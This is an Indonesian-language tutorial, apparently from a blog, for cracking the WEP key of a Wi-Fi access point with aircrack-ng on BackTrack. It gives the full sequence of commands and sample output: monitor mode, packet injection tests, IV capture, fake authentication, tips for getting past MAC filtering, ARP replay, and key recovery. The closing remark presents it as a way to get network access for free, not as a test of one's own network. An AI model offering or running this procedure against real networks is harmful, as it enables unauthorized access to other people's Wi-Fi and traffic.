
Syarat kondisi :
- Gunakan linux, rekomendasi : BackTrack
- Wi Fi ready
- Gunakan Aircrack-ng 9.0
- Paling kurang ada satu klien yang online
- Sinyal dari AP cukup kuat
Yang harus diketahu sebelumnya :
- MAC address ente
- BSSID (MAC address AP)
- ESSID : nama AP
- Chanel AP
- Wireless interface
Contoh :
MAC Address : 00:0F:B5:88:AC:82
BSSID : 00:14:6C:7E:40:80
ESSID : teddy
Chanel : 9
NI : aTh0
Langkah-langkah :
1. Menampilkan Wireless interface pada Ap dengan mode monitor
pertama hentikan ath0 dengan perintah :
airmon-ng stop ath0
dan sistem akan merespon dengan :
Interface Chipset Driver
wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0) (VAP destroyed)
gunakan perintah “iwconfig” untuk memastikan bahwa tidak ada ath0 lainnya. Hasilnya seharusnya seperti dibawah ini :
lo no wireless extensions.
eth0 no wireless extensions.
wifi0 no wireless extensions.
jika terdapat ath0 lain, matikan juga seperti langkah awal diatas.
Sekarang jalankan wrieless card pada chanel 9 dengan perintah :
airmon-ng start wifi0 9
Sistem akan merespon dengan :
Interface Chipset Driver
wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)
Kamu akan diberitahu bahwa ath0 telah dimasukkan kedalam mode monitor. Untuk memastikannya cek dengan perintah “iwconfig”. Dan respon sistem harusnya seperti ini :
lo no wireless extensions.
wifi0 no wireless extensions.
eth0 no wireless extensions.
ath0 IEEE 802.11g ESSID:”" Nickname:”"
Mode:Monitor Frequency:2.452 GHz Access Point: 00:0F:B5:88:AC:82
Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=0/3
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/94 Signal level=-95 dBm Noise level=-95 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
Cek lebih lanjut tentang frekuensi chanel di sini
2. Tes injeksi paket wireless
Langsung saj gunakan perintah berikut :
aireplay-ng -9 -e teddy -a 00:14:6C:7E:40:80 ath0
-9 berarti tes injeksi
-e berarti nama AP
-a 00:14:6C:7E:40:80 adalah AP MAC Address
Sistem akan merespon :
09:23:35 Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 9
09:23:35 Trying broadcast probe requests…
09:23:35 Injection is working!
09:23:37 Found 1 AP
09:23:37 Trying directed probe requests…
09:23:37 00:14:6C:7E:40:80 – channel: 9 – ‘teddy’
09:23:39 Ping (min/avg/max): 1.827ms/68.145ms/111.610ms Power: 33.73
09:23:39 30/30: 100%
Perhatikan persentase pada baris terakhir. Jika 100% berarti kamu cukup dekat dengan AP, namun jika kurang ada baiknya kamu lebih mendekat ke AP.
3. Capture IVs
Lakukan dengan perintah :
airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w output ath0
-c 9 berarti wireless chanel
–bssid 00:14:6C:7E:40:80 berarti AP MAC Address
-w adalah perintah capture file yang berisikan IVs
Jika proses injeksi untuk mendapatkan IVs berhasil maka akan keluar tampilan seperti berikut :
CH 9 ][ Elapsed: 8 mins ][ 2007-03-21 19:25
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:14:6C:7E:40:80 42 100 5240 178307 338 9 54 WEP WEP teddy
BSSID STATION PWR Lost Packets Probes
00:14:6C:7E:40:80 00:0F:B5:88:AC:82 42 0 183782
4. Memalsukan AP authentication
Agar AP dapat menerima paket yang kita kirim, maka perlu memaslukan authentication nya. Lakukan pemalsuan dengan perintah :
aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0
-1 berarti authentic palsu
0 berarti waktu hubungan dalam detik
-h 00:0F:B5:88:AC:82 adalah MAC Address kamu
jika berhasil :
18:18:20 Sending Authentication Request
18:18:20 Authentication successful
18:18:20 Sending Association Request
18:18:20 Association successful
Pada beberapa kasus AP hanya akan memeberikan akses pada MAC address tertentu. Pada keaadaan ini kamu tidak akan bisa memalsukan authentic nya. Kecuali kamu tau salah satu MAC yang di "allowed" dan mengganti MAC Address kamu ke MAC address tersebut.
Untuk kasus seprti diatas kita lakukan perintah berikut :
tcpdump -n -vvv -s0 -e -i | grep -i -E ”(RA:|Authentication|ssoc)”
dan setelah muncul pesan eror lakukan perintah berikut :
tcpdump -n -e -s0 -vvv -i ath0
pesan eror yang dibutuhkan adalah seperti ini :
11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:0F:B5:88:AC:82 SA:00:14:6c:7e:40:80 DeAuthentication: Class 3 frame received from nonassociated station
Jika teteap gagal, berarti kamu perlu mencari "allowed MAC Address dengan cara lain yang sebenarnya banyak sekali.
5. Mendapatkan paket ARP
Lakukan perintah ini pada konsol baru :
aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0
ingat : pada konsol baru
Setelah perintah di atas dijalankan maka airplay-ng akan segera minginjek paket ARP yang dibaca.
Berikut tampilan nya jika injeksi sedang berlangsung :
Saving ARP requests in replay_arp-0321-191525.cap
You should also start airodump-ng to capture replies.
Read 629399 packets (got 316283 ARP requests), sent 210955 packets...
6. Mendapatkan WEP key
Buka konsol baru lagi dan lakukan perintah :
aircrack-ng -b 00:14:6C:7E:40:80 output*.cap
atau/dan perintah berikut :
aircrack-ng -K -b 00:14:6C:7E:40:80 output*.cap
Dalam beberapa saat akan dihasilkan WEP key seperti pada tampilan berikut :
ircrack-ng 0.9
[00:03:06] Tested 674449 keys (got 96610 IVs)
KB depth byte(vote)
0 0/ 9 12( 15) F9( 15) 47( 12) F7( 12) FE( 12) 1B( 5) 77( 5) A5( 3) F6( 3) 03( 0)
1 0/ 8 34( 61) E8( 27) E0( 24) 06( 18) 3B( 16) 4E( 15) E1( 15) 2D( 13) 89( 12) E4( 12)
2 0/ 2 56( 87) A6( 63) 15( 17) 02( 15) 6B( 15) E0( 15) AB( 13) 0E( 10) 17( 10) 27( 10)
3 1/ 5 78( 43) 1A( 20) 9B( 20) 4B( 17) 4A( 16) 2B( 15) 4D( 15) 58( 15) 6A( 15) 7C( 15)
KEY FOUND! [ 12:34:56:78:90 ]
Probability: 100%
Info lebih aircrack-ng.org
Sori agak jelimet. Emang kalo mau yang gratis harus usaha dikit..hehe
SocialVibe